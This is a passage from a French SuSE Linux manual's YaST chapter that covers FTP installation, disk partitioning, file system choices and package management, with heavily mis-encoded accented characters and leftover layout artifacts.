sur une machine ne disposant pas de lecteur de CD-ROM (supportΘ). Ceci
prΘsume toutefois que la configuration de base du rΘseau ait dΘjα ΘtΘ effectuΘe.
Fig. 3.8: SpΘcifications nΘcessaires pour l'installation via FTP
`Serveur FTP [Nom|IP]' Le nom ou l'adresse IP du serveur FTP.
`RΘpertoire du serveur' L'emplacement auquel se trouve le rΘpertoire
suse sur le serveur FTP.
`[ ] Utiliser un proxy ?' Ne marquez d'une croix cette option que si
vous Ωtes s√r de devoir utiliser un proxy FTP. En rΦgle gΘnΘrale, un proxy
n'est pas nΘcessaire. Il est en outre indispensable qu'il s'agisse d'un vΘri-
table proxy FTP car il n'est pas possible d'utiliser de proxy HTTP.
*
* 87
3. YaST ~ Yet another_Setup_Tool_________________________________________________________________________________________________*
*_______________________________________@
`Proxy [Nom|IP]' Ne faites une entrΘe que si vous avez marquΘ d'une
croix l'option prΘcΘdente.
`[X] Port FTP par dΘfaut ?' Vous devez normalement faire une croix.
`Port [NumΘro]' Devrait normalement Ωtre positionnΘe α 21 .
`[X] FTP anonyme ?' Marquez toujours d'une croix si vous voulez utiliser
un serveur FTP public.
`Login' Si vous n'avez pas marquΘ d'une croix l'option prΘcΘdente, inscri-
vez ici le nom d'utilisateur et ensuite, α la prochaine option,
`Mot de passe' le mot de passe.
`Timeout [Secondes]' 60 est une bonne valeur.
`RΘpertoire Tmp local' Le rΘpertoire local dans lequel les fichiers
doivent Ωtre stockΘs temporairement.
Remarque : YaST Θtablit uniquement des connexions FTP passives.
3.3.9 Partitionner le(s) disque(s) dur(s)
Le point critique de l'installation d'un nouveau systΦme d'exploitation est le
partitionnement du disque dur. Habituellement, chaque systΦme d'exploita-
tion a besoin au minimum d'une partition qui lui est propre.
________________________________________________________________________________________________________*
*________|||
| *
* |||
| Mais il est aussi possible d'installer Linux sur un systΦme de fichiers DOS *
* |||
| existant. Vous ne devriez toutefois recourir α cette possibilitΘ que si vous *
* |||
| *
* |||
| voulez seulement avoir un aperτu du systΦme pour vous en faire une idΘe. *
* |||
| La performance est de loin infΘrieure α celle d'une installation sur des *
* |||
| *
* |||
| partitions sΘparΘes spΘcifiques α Linux. Et le systΦme est aussi moins s√r *
* |||
| car il n'existe pas, par exemple, de programmes de vΘrification du systΦme *
* |||
| *
* |||
| de fichiers pour MS-DOS et Linux peut aussi Ωtre influencΘ par DOS. *
* |||
|_______________________________________________________________________________________________________*
*________|||_
Si vous prΘvoyez d'offrir ses propres partitions α Linux, vous avez la possibi-
litΘ de rΘpartir votre systΦme sur plusieurs partitions. La rΘpartition d'un sys-
tΦme Unix est une question de go√t personnel et de philosophie et il n'existe
donc pas de ``voie royale'' (voir paragraphe 2.8 page 67 et paragraphe 2.9
page 68).Vous trouverez un exemple dΘtaillΘ de partitionnement au para-
graphe 2.10.1 page 75.
Vous devriez en tout cas prΘvoir une partition de swap sΘparΘe qui agrandira
la mΘmoire virtuelle (+ mΘmoire) de votre machine (voir paragraphe 2.9.1
page 70). Bien que l'utilisation d'un fichier d'Θchange (swap) soit possible,
cela n'est pas recommandable pour des raisons de performance car tous les
accΦs α ce fichier doivent se faire en passant par le systΦme de fichiers. Tout
particuliΦrement si votre machine ne dispose que de peu de mΘmoire, le fichier
d'Θchange ne constitue pas une alternative α une partition de swap sΘparΘe.
Si vous avez plus d'un disque dur dans votre machine, il vous sera demandΘ
de choisir le disque que vous souhaitez partitionner α la prochaine phase de
travail. Vous arriverez alors α un menu qui vous montre le partitionnement
actuel de votre disque dur (voir figure 3.9 page suivante).
88
________________________________________________________________________3.3.__Configurations_pour_l'installation____________*
*______________________
Fig. 3.9: Partitionnement
Avec les touches du curseur |"__|et |#__|, vous pouvez vous dΘplacer dans_la liste
des partitions disponibles et modifier le type d'une partition avec |F___|3. Avec
F4 , |||||||||__vous effacez une partition existante et avec |F___|_5vous pouvez crΘer une
nouvelle partition.
Il est absolument indispensable de modifier le type de partition (avec | ____|F3)
lorsqu'une partition de swap doit Ωtre crΘΘe. Il est possible qu'il ne soit pas
indispensable de repartitionner si vous avez dΘcidΘ, par exemple, de consa-
crer α Linux une partition actuellement utilisΘe par un autre systΦme d'ex-
ploitation. Dans un tel cas, placez_tout simplement le curseur sur la partition
correspondante et appuyez sur |F___|3.
Notez que Linux ne pose aucune condition au sujet du type des partitions sur
lesquelles il doit Ωtre installΘ :
Il est possible d'installer Linux aussi bien sur une partition primaire que sur
une partition logique contenue dans une partition Θtendue.
Le concept des partitions logiques a ΘtΘ adoptΘ du fait qu'il n'y de place que
pour quatre entrΘes dans la table des partitions. Si l'on a besoin de plus de
quatre partitions, on doit alors transformer l'une des partitions en partition
Θtendue dans laquelle seront crΘΘes des partitions logiques1 .
3.3.10 SpΘcifier les partitions cibles ou les systΦmes de fichiers
AprΦs avoir divisΘ le disque dur en partitions, vous devrez attribuer α ces par-
titions des sous-rΘpertoires dans l'arborescence des rΘpertoires Linux. Choi-
sissez pour cela l'option `SpΘcifier les partitions-cibles / les
systΦmes de fichiers'.
Dans l'exemple donnΘ par la figure 3.10 page suivante, vous voyez le par-
titionnement d'un systΦme avec un disque dur. Vous pouvez maintenant dΘ-
terminer si chaque partition doit Ωtre formatΘe et, le cas ΘchΘant, de quelle
1 ____________________________________________________
Les partitions Θtendues ainsi que les partitions logiques sont dΘsignΘes par le fdisk de DOS
sous le nom de partitions DOS Θtendues ou unitΘs logiques bien que la validitΘ de ce concept
s'Θtende au delα des limites des systΦmes d'exploitation.
*
* 89
3. YaST ~ Yet another_Setup_Tool_________________________________________________________________________________________________*
*_______________________________________@
Fig. 3.10: DΘtermination des systΦmes de fichiers
maniΦre. Vous pouvez aussi dΘterminer α quel point de votre arborescence
des rΘpertoires elle devra plus tard Ωtre montΘe.
Vous devez prΘvoir exactement une partition comme partition ``root'' ! Elle
porte ce nom car elle reprΘsente la racine (angl. root) de tous les rΘpertoires.
C'est pourquoi il lui est assignΘ le + point de montage `/ '.
Les diffΘrentes fonctions pour la manipulation des systΦmes de fichiers sont
obtenues par les touches de fonction correspondantes.
Vous pouvez, en rΦgle gΘnΘrale, ne traiter que des partitions Linux. Si le
curseur se trouve sur une partition d'un autre systΦme d'exploitation, toutes
les fonctions sont dΘsactivΘes exceptΘe la dΘtermination du point de montage.
DΘterminer le type
Avec |F___|_3, vous pouvez faire votre choix entre les deux systΦmes de fichiers
ext2 et reiserfs .
`ext2' ~ Le systΦme de fichiers ext2 (angl. second extended-filesystem) est
Θtabli depuis de longues annΘes comme systΦme de fichiers standard.
`reiserfs' ~ ReiserFS est un systΦme de fichiers de la prochaine gΘnΘ-
ration. Bien qu'il soit encore trΦs rΘcent, ce systΦme de fichiers est dΘjα
utilisΘ dans de nombreux domaines (entre autre sur quelques uns de nos
systΦmes de serveurs internes). Vous devez absolument tenir compte des
informations contenues dans /usr/doc/packages/reiserfs/README.
En Θtroite collaboration avec SuSE , le groupe de dΘveloppement qui s'est
formΘ autour de Hans Reiser et de Chris Mason a apportΘ des ex-
tensions au performant systΦme de fichiers ReiserFS pour en faire un sys-
tΦme de fichiers journalisΘ (angl. journaling filesystem). La fonction de
journalisation garantit qu'une vΘrification des systΦmes de fichiers (angl.
filesystem check) pourra Ωtre effectuΘe en quelques secondes mΩme sur de
grands serveurs.
90
________________________________________________________________________3.3.__Configurations_pour_l'installation____________*
*______________________
_______________________________________________________________________________________________________________________
|||||||| N'utilisez pas ReiserFS conjointement α RAID 1 et RAID 5 logiciels. Avec ||| |
||||||||| le RAID matΘriel, il n'y a aucune restriction. Une partition ReiserFS doit || ||
|||||||| avoir actuellement une taille d'au moins 34 Mo. ||| |
||||||||_______________________________________________________________________________________________________________||_
Pour Θviter tout problΦme, crΘez une partition /boot sΘparΘe avec le sys-
tΦme de fichiers ext2 et installez-y LILO . Ceci reprΘsente la configura-
tion par dΘfaut de SuSE Linux.
Les utilitaires pour ReiserFS sont contenus dans le paquetage reiserfs,
sΘrie a. Vous trouverez des informations rΘcentes sous :
http://devlinux.com/projects/reiserfs/
Point de montage
Avec F||||__4, vous pouvez dΘterminer α quel emplacement de l'arborescence des
rΘpertoires la partition concernΘe devra Ωtre montΘe.
Vous devez assigner le fichier racine (/) pour une partition. Vous pouvez faire
monter vos partitions DOS/Windows sous des noms de rΘpertoires appropriΘs
o∙ vous pourrez plus tard les retrouver facilement, par exemple /dosc pour
la premiΦre partition DOS et /dosd pour la deuxiΦme, etc.
_______________________________________________________________________________________________________________________||
|||||||| Tenez compte du fait que tous les points de montage doivent Ωtre spΘci- ||| |
|||||||| || |
|||||||| fiΘs avec des noms de chemins absolus et que les noms de rΘpertoires ne || |
|||||||| doivent pas contenir de caractΦres spΘciaux ! Vous ne devez en aucun cas || |
|||||||| || |
|||||||| placer les rΘpertoires /etc, /bin, /sbin, /lib et /dev sur des partitions || |
|||||||| sΘparΘes car ils contiennent entre autre des commandes nΘcessaires, lors || |
|||||||| || |
|||||||| de l'amorτage, au montage des autres systΦmes de fichiers ! || |
||||||||_______________________________________________________________________________________________________________||_
Il existe une particularitΘ pour les partitions DOS/Windows ! Elles peuvent
Ωtre intΘgrΘes de trois maniΦres diffΘrentes dans l'arborescence des rΘper-
toires.
~ PremiΦrement comme partitions DOS ``normales'' (= msdos ) avec toutes
les restrictions du systΦme de fichiers DOS,
~ DeuxiΦmement comme FAT-Win95 (= vfat ), ce qui permet d'utiliser des
noms de fichiers longs.
~ TroisiΦmement comme partitions dites UMSDOS , ce qui permet aussi l'uti-
lisation de noms de fichiers longs sur des partitions DOS ``normales''. Ce
type est requis uniquement si vous voulez placer des fichiers Linux sur la
partition DOS mais il ne s'avΦre pas bien efficace si vous n'utilisez la par-
tition DOS que pour l'Θchange de donnΘes. Dans la mesure du possible,
Θvitez UMSDOS !
Menu expert pour affiner la configuration des systΦmes de fichiers
Le menu expert (figure 3.11 page suivante) vous donne la possibilitΘ d'opti-
miser votre configuration.
La densitΘ des + i-noeuds indique la taille moyenne prΘvue pour une partition.
Le nombre d'i-noeuds dΘtermine combien de fichiers peuvent Ωtre crΘΘs sur
*
* 91
3. YaST ~ Yet another_Setup_Tool_________________________________________________________________________________________________*
*_______________________________________@
Fig. 3.11: Menu expert pour la configuration des systΦmes de fichiers
une partition. Si ce nombre est trop petit, il peut arriver qu'une partition soit
considΘrΘe comme saturΘe bien qu'elle ait encore des blocs disponibles.
Si l'on choisit par exemple une densitΘ de 4096 octets par i-noeud, cela si-
gnifie que tous les fichiers devraient avoir une taille moyenne de 4 Ko. Si une
telle partition ne contient que des fichiers d'une taille d'un kilo-octet seule-
ment, on ne pourra utiliser que le quart du disque car le systΦme de fichiers
est considΘrΘ comme entiΦrement plein.
La taille des i-noeuds de 4 Ko par fichier s'est avΘrΘe comme Θtant une bonne
valeur standard (un nombre plus important d'i-noeuds par partition signifie
naturellement moins de place effective pour les donnΘes car la table des i-
noeuds doit aussi Ωtre stockΘe en mΘmoire). Si une partition doit Ωtre utilisΘe
comme zone de spool, par exemple pour les news, une valeur de 2084 octets
par i-noeud devrait Ωtre choisie car les diffΘrents articles constituent typique-
ment de trΦs petits fichiers. Une autre raison qui justifie un nombre important
d'i-noeuds est l'intΘgration du systΦme live car environ 40.000 fichiers sont
inclus dans le systΦme de fichiers par des liens symboliques qui requiΦrent
respectivement un i-noeud.
La taille des blocs influe sur la durΘe de la vΘrification du systΦme de fichiers
(angl. filesystem check). La durΘe est inversement proportionnelle au carrΘ
de la taille des blocs. Une vΘrification qui se traεne en longueur est pour le
moins fastidieuse. Suggestion pour la taille des blocs : 1024 (= 1 Ko) pour
les partitions d'une taille de 1 Go et 4096 (= 4 Ko) pour 4 Go.
Il est en outre dΘterminΘ ici sous quelles conditions une vΘrification du sys-
tΦme de fichiers devra avoir lieu et il peut Ωtre tenu compte de la frΘquence
des montages.
SpΘcification de la zone rΘservΘe α l'utilisateur `root'. Il devrait toujours
Ωtre rΘservΘ une zone pour `root' lorsque les partitions sont utilisΘes en
commun par des programmes systΦme et des utilisateurs rΘguliers. Une parti-
tion /home sΘparΘe ne doit pas obligatoirement offrir de la place α l'utilisateur
`root'.
92
________________________________________________________________________3.3.__Configurations_pour_l'installation____________*
*______________________
Le comportement en cas d'erreur peut Ωtre spΘcifiΘ. Si une erreur se produit
dans un systΦme de fichiers, le fonctionnement peut continuer normalement
(continue ), la partition peut Ωtre remontΘe en lecture seule (remount-ro )
ou le systΦme complΦt peut immΘdiatement Ωtre arrΩtΘ (panic ). L'option adΘ-
quate doit Ωtre choisie en tenant compte de l'utilisation α laquelle est destinΘ
le systΦme. Ne modifiez la valeur par dΘfaut continue que si vous savez
exactement ce que vous faites !
Formatage des partitions
Avec F||||__6, vous pouvez dΘterminer si les partitions doivent Ωtre formatΘes et
le cas ΘchΘant de quelle maniΦre. Avec les disques modernes (SCSI) ``flam-
bant neufs'', il n'est pas nΘcessaire, pendant le formatage, de faire effectuer
un contr⌠le pour rechercher des secteurs dΘfectueux mais vous pouvez le spΘ-
cifier pour plus de sΘcuritΘ. Dans ce cas le formatage prend nettement plus de
temps.
Lecture du fichier fstab
En appuyant sur |F___|_7, vous pouvez lire un fichier fstab dΘjα existant. Vous
verrez aussi l'affichage des entrΘes de fstab qui ne font pas partie du systΦme
de fichiers du disque dur (swap, proc, nfs-mount, entrΘes de CD-ROM etc).
Celles-ci sont faites en grisΘ et ne peuvent pas Ωtre modifiΘes. Mais elles sont
conservΘes lorsque fstab est stockΘ en mΘmoire.
Cette fonctionnalitΘ est nΘcessaire lorsque vous voulez effectuer une mise α
jour de votre systΦme (voir paragraphe 15.1.3 page 404) car dans ce cas YaST
doit savoir sur quelles partitions le systΦme est rΘparti. Il est aussi tout α fait
possible d'avoir parallΦlement plusieurs partitions Linux sur une machine.
3.3.11 Configurer le Logical Volume Manager
Vous trouverez des informations sur le configuration du ``Logical Volume
Manager'' (LVM) dans le Howto LVM officiel sous
http://linux.msede.com/lvm/
3.3.12 Installation dans un rΘpertoire
Vous pouvez, avec YaST , effectuer une installation complΦte dans un rΘper-
toire pendant le fonctionnement du systΦme. Il est par exemple possible de
mettre α jour une autre machine via NFS, de mettre en place un ``environne-
ment chroot'' ou d'effectuer une installation Linux sur un deuxiΦme disque α
partir d'un systΦme en fonctionnement.
Ce mode d'installation n'est prΘvu que pour les cas particuliers. Si certains
pΘriphΘriques doivent Ωtre montΘs sous le rΘpertoire spΘcifiΘ, vous devez ef-
fectuer cette opΘration vous-mΩme avant d'installer selon cette mΘthode.
Vous devez tout particuliΦrement veiller vous-mΩme α ce que le systΦme ins-
tallΘ soit amorτable. Il sera probablement nΘcessaire aussi, dans le systΦme
nouvellement installΘ, de modifier le fichier fstab crΘΘ par YaST .
SpΘcifiez maintenant, dans le champ d'entrΘe, le rΘpertoire dans lequel vous
voulez installer.
*
* 93
3. YaST ~ Yet another_Setup_Tool_________________________________________________________________________________________________*
*_______________________________________@
3.4 DΘterminer la taille de l'installation
AprΦs avoir terminΘ la configuration de votre systΦme de fichiers, sΘlectionnez
dans le menu principal `DΘterminer/dΘmarrer l'installation' afin
de fixer le volume des paquetages α installer et (ou) de dΘmarrer l'installation.
Vous avez la possibilitΘ d'Θlaborer vos propres profils d'installation, de les
stocker en mΘmoire ou de les charger.
Fig. 3.12: DΘterminer la taille de l'installation
Vous pouvez en outre dΘmarrer l'installation α partir de ce menu et voir
d'abord ce qui se passerait si la configuration actuelle Θtait installΘe.
3.4.1 Charger la configuration
Sous l'option `Charger la configuration', vous trouverez quelques _
configurations_que nous avons dΘjα prΘdΘfinies. Avec les touches flΘchΘes |"__|_____
et |#_ |, vous pouvez accΘder α une ``configuration'' prΘdΘfinie et avec |E_________|space,
vous pouvez sΘlectionner ou dΘsΘlectionner une option.
Le systΦme minimal, par exemple, permet de lancer Linux α partir du disque
dur et de procΘder ensuite α l'installation d'autres paquetages.
Si vous avez dΘjα ΘlaborΘ votre propre profil d'installation, vous pourrez bien
s√r le relire ici. Ceci est surtout utile si vous voulez installer plusieurs ma-
chines avec une configuration identique.
Si vous avez dΘjα installΘ un systΦme, n'oubliez pas en chargeant une autre
configuration que les paquetages dΘjα installΘs ne faisant pas partie de la nou-
velle configuration doivent Ωtre marquΘs pour Ωtre effacΘs. Si vous voulez
cependant conserver tous ces paquetages, rΘpondez simplement Non lorsqu'il
vous sera demandΘ, aprΦs que vous ayez invoquΘ l'option du menu `DΘmar-
rer l'installation', si vous voulez les effacer. Autrement, vous devrez
dΘsΘlectionner un par un avec `[D]' les paquetages marquΘs pour Ωtre effacΘs
(la dΘsignation `[i]' devra de nouveau apparaεtre).
94
_____________________________________________________________________3.4.__DΘterminer_la_taille_de_l'installation___________*
*______________________
3.4.2 Enregistrer la configuration
Vous pouvez ici enregistrer votre propre configuration. Si YaST a ΘtΘ lancΘ
α partir d'une disquette, celle-ci sera utilisΘe pour sauvegarder la configura-
tion. Si vous avez amorcΘ directement α partir du CD, il vous sera demandΘ
d'insΘrer une disquette formatΘe sur laquelle les donnΘes pourront Ωtre sauve-
gardΘes.
3.4.3 Modifier la configuration
Par le choix de cette option, vous passez α l'Θditeur de sΘlection (figure 3.13)
qui vous permet de dΘterminer librement la taille de l'installation ou de mo-
difier une configuration prΘparΘe et chargΘe (voir paragraphe 3.4.1 page ci-
contre). Cette option vous donne aussi la possibilitΘ, aprΦs l'installation, de
supprimer des paquetages dΘjα installΘs.
Fig. 3.13: SΘlection des sΘries dans YaST
Avec les touches du curseur |"__|et |#__|ainsi qu'avec |P__________|ageet"|P__________|age, #vous
pouvez vous dΘplacer dans la liste de sΘlection et choisir une sΘrie.
La fenΩtre ci-dessous vous renseigne sur l'espace occupΘ sur le disque dur.
Avec F||||__4il est possible, comme alternative α la sΘlection des sΘries, de choisir
un autre groupement des paquetages (figure 3.14 page suivante) ; il existe
actuellement, α c⌠tΘ de `SΘries', la variante `Tous les paquetages'.
C'est lα que se cachent la vieille sΘrie ALL et la sΘrie paquetages sources.
Vous pouvez quitter une sΘlection, par exemple la sΘlection des sΘries, avec
F10 |||||||||__pour retourner ainsi au menu gΘnΘral de configuration.
Si sur l'une des sΘries vous appuyez sur |______|-, vous arrivez α la sΘlection des
paquetages de la sΘrie correspondante (figure 3.15 page suivante vous montre,
par exemple, le contenu de la sΘrie a). Si vous avez dΘjα chargΘ auparavant
une configuration, les paquetages dΘjα sΘlectionnΘs sont marquΘs d'une croix.
La fenΩtre de droite vous informe sur la place que la configuration actuelle
occuperait sur chacune de vos partitions en Θtant rΘpartie sur celles-ci.
Vous voyez ici, dans la fenΩtre du bas, une brΦve description du paquetage
sur lequel se trouve en ce moment le curseur. Dans la fenΩtre de droite, vous
*
* 95
3. YaST ~ Yet another_Setup_Tool_________________________________________________________________________________________________*
*_______________________________________@
Fig. 3.14: Reclasser les paquetages dans YaST
Fig. 3.15: SΘlection des paquetages, sΘrie a1 (SystΦme de base)
voyez quel est actuellement l'espace nΘcessitΘ sur vos partitions. Ces valeurs
sont rΘguliΦrement actualisΘes dΦs que vous sΘlectionnez ou dΘsΘlectionnez
un paquetage.
Dans certains cas, la place disponible n'est pas suffisante pour l'affichage des
informations concernant_les paquetages_ou les partitions. Vous pourrez alors,
en appuyant sur |___F|2ou |___F|3, obtenir un gros plan de la fenΩtre du bas ou
de la fenΩtre de droite et voir de plus prΦs les informations dans une boεte
particuliΦre.
Devant le nom des paquetages, il est indiquΘ le statut actuel de chacun :
`[ ]' dΘsigne un paquetage qui n'est pas encore installΘ
`[X]' dΘsigne un paquetage α installer
96
_____________________________________________________________________3.4.__DΘterminer_la_taille_de_l'installation___________*
*______________________
`[i]' dΘsigne un paquetage dΘjα installΘ
`[D]' dΘsigne un paquetage α effacer
`[R]' dΘsigne un paquetage qui doit Ωtre actualisΘ
Avec _|||__|-, on peut changer le statut des_paquetages en basculant entre `[ ]'
et `[X]' ou entre `[i]', `[R]' et `[D]'. |F___|6fait dΘmarrer l'installation du
paquetage source correspondant. Voir, au sujet des_paquetages sources, le pa-
ragraphe 15.3.3 page 419. Si vous appuyez sur |____F1|0dans cette sΘlection, vous
reviendrez α la sΘlection des sΘries. Si vous voulez quitter la sΘlection des pa-
quetages_sans_que_vos modifications soient enregistrΘes, appuyez simplement
sur ╔c||||___|_hap.
Si, pendant le dΘroulement de la configuration, vous deviez constater que
l'espace disque que vous aviez prΘvu n'est pas suffisant pour l'installation
que vous voulez faire ou qu'il est nΘcessaire de diviser le disque d'une autre
maniΦre, vous pouvez α tout moment effectuer un repartitionnement de votre
disque dur. Le partitionnement proprement dit n'aura lieu que lorsque vous
quitterez YaST .
Si YaST tourne α partir d'une disquette, installez d'abord une configuration
absolument minimale, lancez ensuite Linux puis installez le reste de vos pa-
quetages. Vous pouvez toutefois, dans cette premiΦre phase, sΘlectionner α
titre d'essai les paquetages que vous dΘsirez afin de vous informer sur l'es-
pace requis par la configuration de votre choix.
3.4.4 Que se passerait-il si...
YaST peut aussi Ωtre utilisΘ pour dΘsinstaller des paquetages. C'est pour cette
raison qu'il existe cette option de menu avec laquelle vous pouvez vous assu-
rer que vous n'effacez pas de fichiers absolument indispensables au fonction-
nement de votre systΦme.
3.4.5 DΘmarrer l'installation
Cette option dΘmarre l'installation proprement dite. Tous les paquetages que
vous avez choisis sont lus depuis le support d'installation, dΘcompressΘs et
Θcrits sur les partitions de destination.
Si pendant la prΘsente exΘcution de YaST vous avez modifiΘ le partitionne-
ment de votre disque dur, l'installation n'est naturellement plus possible car
la machine doit Ωtre rΘamorcΘe aprΦs une modification des donnΘes de parti-
tionement. En outre, les donnΘes modifiΘes n'ont pas encore ΘtΘ Θcrites dans
la table des partitions. Cette opΘration aura lieu seulement lorsque vous quit-
terez YaST .
Pendant l'installation, il sera affichΘ dans la fenΩtre du bas d'Θventuels mes-
sages d'erreur et des messages concernant le statut des paquetages. Dans la
premiΦre ligne, YaST vous fait savoir quel paquetage est en cours d'installa-
tion.
Lorsque l'installation sera terminΘe, vous pourrez passer avec | _____|Tabα la fe-
nΩtre de protocole et faire un dΘfilement α l'Θcran pour pouvoir analyser
d'Θventuels messages d'erreur.
*
* 97
3. YaST ~ Yet another_Setup_Tool_________________________________________________________________________________________________*
*_______________________________________@
3.4.6 VΘrifier les dΘpendances des paquetages
YaST vΘrifie les dΘpendances des paquetages dΘjα installΘs et des paquetages
sΘlectionnΘs pour l'installation, sauf celles des paquetages devant Ωtre effacΘs
- en d'autres termes les dΘpendances des paquetages qui seraient installΘs si
vous aviez dΘjα sΘlectionnΘ `DΘmarrer l'installation'.
Il existe les modes de dΘpendance suivants :
________________________________________________________________________________________________________*
*________
AND Lorsque le paquetage doit Ωtre installΘ, vous devez aussi instal-
ler tous les autres paquetages (α moins qu'ils ne soient dΘjα ins-
tallΘs). Exemple : Lorsqu'on installe un compilateur, on a aussi
besoin des fichiers include et des libs.
OR Lorsque le paquetage doit Ωtre installΘ, vous devez installer au
moins l'un des paquetages spΘcifiΘs (α moins qu'il ne soit dΘjα
installΘ).
EXCL Lorsque le paquetage doit Ωtre installΘ, vous ne devriez installer
aucun des paquetages spΘcifiΘs (et ils ne devraient pas non plus
Ωtre dΘjα installΘs).
________________________________________________________________________________________________________*
*________
Tab. 3.1: DΘpendances entre les paquetages
Une liste des dΘpendances dΘtectΘes vous est ensuite prΘsentΘe.
3.4.7 Index de toutes les sΘries et de tous les paquetages
Il vous est simplement montrΘ ici une liste de tous les paquetages qui se
trouvent sur le CD. Les paquetages marquΘs de l'astΘrisque `*' sont soit
dΘjα installΘs, soit sΘlectionnΘs pour l'installation. Cette fonction est trΦs utile
si vous voulez avoir rapidement une vue d'ensemble.
3.4.8 Information sur les paquetages
De temps en temps, on aimerait savoir o∙ se cache, sur le CD SuSE Linux, le
fichier sensationnel dont on a appris l'existence par une revue d'informatique.
Pour une recherche simple et (relativement) rapide des fichiers et des paque-
tages aussi bien sur le CD SuSE Linux que dans le systΦme installΘ, il existe
l'information sur les paquetages. Vous pouvez spΘcifier dans son masque les
noms des fichiers α rechercher et YaST explorera le support indiquΘ pour
retrouver ces fichiers et listera leur emplacement.
3.4.9 Inclure des paquetages
Prenez cette option si vous voulez ``inclure'' des paquetages de votre choix,
tels que par exemple des versions corrigΘes ou de nouvelles versions que nous
tenons α votre disposition sur notre serveur FTP ftp.suse.com. Mais il peut
s'agir aussi de paquetages que vous avez peut-Ωtre ΘlaborΘs vous-mΩme ou
que vous vous Ωtes procurΘs α d'autres sources. Les archives tar compressΘes
(.tgz) sont supportΘes, de mΩme que les paquetages RPM (.rpm, .spm,
98
_____________________________________________________________________3.4.__DΘterminer_la_taille_de_l'installation___________*
*______________________
.src.rpm) et les paquetages de patches spΘciaux (.pat) que nous mettons
aussi α votre disposition sur notre serveur FTP.
La procΘdure d'installation se dΘroule en 3_Θtapes_(des instructions dΘtaillΘes
vous seront donnΘes si vous appuyez sur |F___|1) :
~ SΘlection de la source d'installation
~ SΘlection parmi les paquetages qui y sont proposΘs
~ Installation des paquetages
Sous l'option du menu `Source :' vous obtiendrez, avec |_____|_-, une liste
de sΘlection des sources d'installation possibles : `RΘpertoire', `FTP',
`Support d'installation' et `Disquette'. Modifiez le _cas_ ΘchΘant
le chemin prΘconfigurΘ (rΘpertoire/FTP) et validez avec | _____|-. YaST Θtablit
maintenant une liste des paquetages qui y sont disponibles. Avec `FTP', il
est donc possible d'installer directement α partir d'Internet. L'adresse est :
ftp.suse.com:/pub/suse/i386 /update/6.4 (voir figure 3.16). Il n'est
pas encore possible pour le moment d'intΘgrer des paquetages par le biais
d'un ``proxy''. Il vous faut un accΦs direct au serveur FTP concernΘ.
Fig. 3.16: Inclure des paquetages via FTP
_______________________________________________________________________________________________________________________||
|||||||| Si vous recevez un message tel que "530 User ftp access denied.", ||| |
|||||||| || |
|||||||| cela signifie probablement qu'un login FTP n'est pas possible actuellement || |
|||||||| du fait que les utilisateurs dΘjα connectΘs sont trop nombreux. Faites une || |
|||||||| || |
|||||||| nouvelle tentative plus tard. || |
||||||||_______________________________________________________________________________________________________________||_
Avancez jusqu'au paquetage rpm que vous voulez _installer._ Vous devrez
comme d'habitude le marquer d'une croix avec |_________E|spaceet l'installer avec
F10 |||||||||__. Le paquetage concernΘ sera ensuite placΘ dans le rΘpertoire
/tmp/ftp<numΘro de processus> afin qu'il soit possible de l'instal-
ler manuellement plus tard si quelque chose ne marche pas (voir para-
graphe 15.3.1 page 415) .
*
* 99
3. YaST ~ Yet another_Setup_Tool_________________________________________________________________________________________________*
*_______________________________________@
3.4.10 Effacer des paquetages
Si vous sΘlectionnez cette option du menu, YaST vous montre une liste de
tous les paquetages qui sont installΘs dans votre systΦme. Il vous montre aussi
des paquetages ``Θtrangers'', c'est α dire des paquetages qui ne se trouvent pas
sur le CD SuSE Linux. Pour de tels paquetages, YaST ne peut pas effectuer
de mise α jour et il ne peut pas non plus vΘrifier leurs dΘpendances.
Le plus simple est de remplacer ces paquetages par les paquetages corres-
pondant du CD SuSE . Pour ce faire, vous sΘlectionnerez_les paquetages en
question dans la liste qui vous est prΘsentΘe. Avec |F___|2, vous verrez une brΦve
description du paquetage Θtranger car_il n'existe pas pour ces paquetages de
fichiers descriptifs dΘtaillΘs. |F____1|0efface les paquetages.
Vous pourrez ensuite installer le paquetage correspondant α partir du CD.
3.5 Mise α jour du systΦme
Vous ne devriez utiliser l'option du menu `Mettre α jour le systΦme'
que si votre systΦme de base est suffisamment actuel ~ en d'autres termes s'il
concorde avec le support source. En cas de doute, YaST vous le fera savoir
clairement.
Vous dΘmarrerez la mise α jour du systΦme comme il est dΘcrit au chapitre 15
page 403 ; vous remplacerez certains paquetages avec YaST conformΘment
aux instructions du paragraphe 3.4.9 page 98.
3.6 Administration du systΦme
YaST vous aide non seulement au cours de l'installation mais aussi dans les
diffΘrentes tΓches de gestion auxquelles vous allez vous voir confrontΘ en tant
qu'+ administrateur systΦme fraεchement Θmoulu.
AprΦs avoir terminΘ l'installation proprement dite ~ aprΦs que les paquetages
aient ΘtΘ copiΘs sur le disque dur ~ il vous reste encore un tas de choses α
faire pour personnaliser votre systΦme :
IntΘgrer le matΘriel, configurer et activer les services rΘseau, crΘer des
comptes utilisateurs, dΘterminer le comportement de SuSE Linux au dΘ-
marrage, etc.
Vous arriverez α l'administration du systΦme en sΘlectionnant dans le menu
principal de YaST (voir figure 3.1 page 82) l'option `Administration du
systΦme'.
3.6.1 IntΘgrer le matΘriel dans le systΦme
Vous pouvez ici spΘcifier de faτon plus dΘtaillΘe le matΘriel utilisΘ. Dans
la majeure partie des cas, il sera crΘΘ un lien symbolique (+ lien) pointant
d'un pΘriphΘrique standard sur celui que vous utilisez et il vous sera possible
d'accΘder α tout moment au matΘriel correspondant sans avoir α retenir le nom
exact des diffΘrents composants.
La configuration de la souris, du modem, du scanner, de la carte rΘseau et du
lecteur de CD-ROM est trΦs simple - suivez les menus ;-)
100
___________________________________________________________________________________3.6.__Administration_du_systΦme__________*
*______________________
Fig. 3.17: Administration du systΦme
Fig. 3.18: Configuration matΘrielle
La configuration de l'imprimante dΘcrite au paragraphe suivant est par contre
nettement plus compliquΘe :
Configurer l'imprimante
L'accΦs α une imprimante sous Linux est un processus complexe. L'arriΦre-
plan technique est dΘcrit de faτon dΘtaillΘe au chapitre 12 page 333. Il existe
heureusement, avec apsfilter , un filtre trΦs puissant qui reconnaεt automati-
quement le type d'un fichier et peut le convertir de faτon optimale pour le
sortir sur l'imprimante.
Sous Linux ~ tout comme sous Unix ~ le format PostScript joue gΘnΘralement
un r⌠le de premier plan. La sortie d'un fichier PostScript sur une imprimante
est relativement triviale. Toutefois, trΦs peu d'utilisateurs disposent d'une telle
imprimante en raison de son prix. On a alors recours α Ghostscript (gs ) qui
*
* 101
3. YaST ~ Yet another_Setup_Tool_________________________________________________________________________________________________*
*_______________________________________@
